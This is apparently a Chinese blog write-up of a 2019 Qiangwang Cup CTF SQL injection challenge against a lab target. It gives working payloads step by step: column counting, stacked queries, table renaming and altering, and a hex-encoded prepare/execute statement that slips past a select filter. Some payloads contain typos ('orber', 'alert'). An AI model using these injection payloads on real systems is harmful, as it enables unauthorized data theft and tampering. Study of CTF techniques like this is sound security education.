SQL实践2

实践2

靶机链接:easy_sql (kanxue.com)(题目来之19年强网杯随便注)

显而易见的注入点

判断是否存在注入漏洞

1'

说明存在,接着我们判断字段数

1' orber by 1 #

1' order by 2 # (1,2均返回正常)

1' order by 3 #(到3时返回报错)

说明字段数为2

尝试看看能不能拿到数据库名

1' union select 1, database()#

看到select被过滤掉了,后面采用了大小写、编码等常见的绕过效果不理想,所以我们果断更换思路。

尝试采用堆叠注入

1';show databases;# (查数据库)

1';show tables;#(报表)

现在我们知道了表名便可以挨个查里面的内容了

1'; show column from words;#

可见并没有我们想要的东西,那就接着查下一个

1';show columns from '1919810931114514';#

这里不知道为什么这个表就是查不出来了,既然我们已经确定了flag在这个表里了索性就不截图了

(强迫症犯了不查出来难受)

既然查之前一大串数字表名老是查不出来,干脆直接将原来的数字表名改为好查的英文表名ok

1';rename table '1919810931114514' to ok;#

这里的回显不明显,所以改完之后可以用前面的1';show tables;#查看一下是否成功了(很显然我是成功了的,哈哈哈)

这里有一个知识点:

对已知表名的修改1';rename table '1919810931114514' to ok;#

之后呢便是想办法查出flag里的内容了

这里属实不知道怎么做的了,看好几位大佬的WP都没懂

以下是我复现成功的方法

方法一

原作者:buuoj强网杯2019随便注_buuoj.cn/challenges[强网杯 2019]随便注 1-CSDN博客

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这里是将select * from '1919810931114514'进行了不单纯的16进制编码

SELECT可以在一条语句里对多个变量同时赋值,SET只能一次对一个变量赋值,如下:

复制代码 代码如下:

SELECT @VAR1=‘Y’,@VAR2=‘N’

SET要达到同样的效果,需要:

SET @VAR1=‘Y’

SET @VAR2=‘N’

prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句

方法二

原作者:SQL Injection8(堆叠注入)——强网杯2019随便注_堆叠注入强网-CSDN博客

因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 : select id, data from word where id =

(这里从上面的对word列的查询可以看到它是有两列,iddata)

然后1919810931114514只有一个flag字段

这时候虽然有强大的正则过滤,但没有过滤alertrename关键字

这时候我们就可以已下面的骚姿势进行注入:

1.words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.flag列改名为data

构造payload

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

接着我们再用1’ or 1=1 #,查询就得到flag

方法二我试了好几次都会出现下面的状况

出现了这个状况后就只能销毁靶机了,其他的操作都无法实现了。

不知是为何希望能有路过的大佬指点一番,十分感谢。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值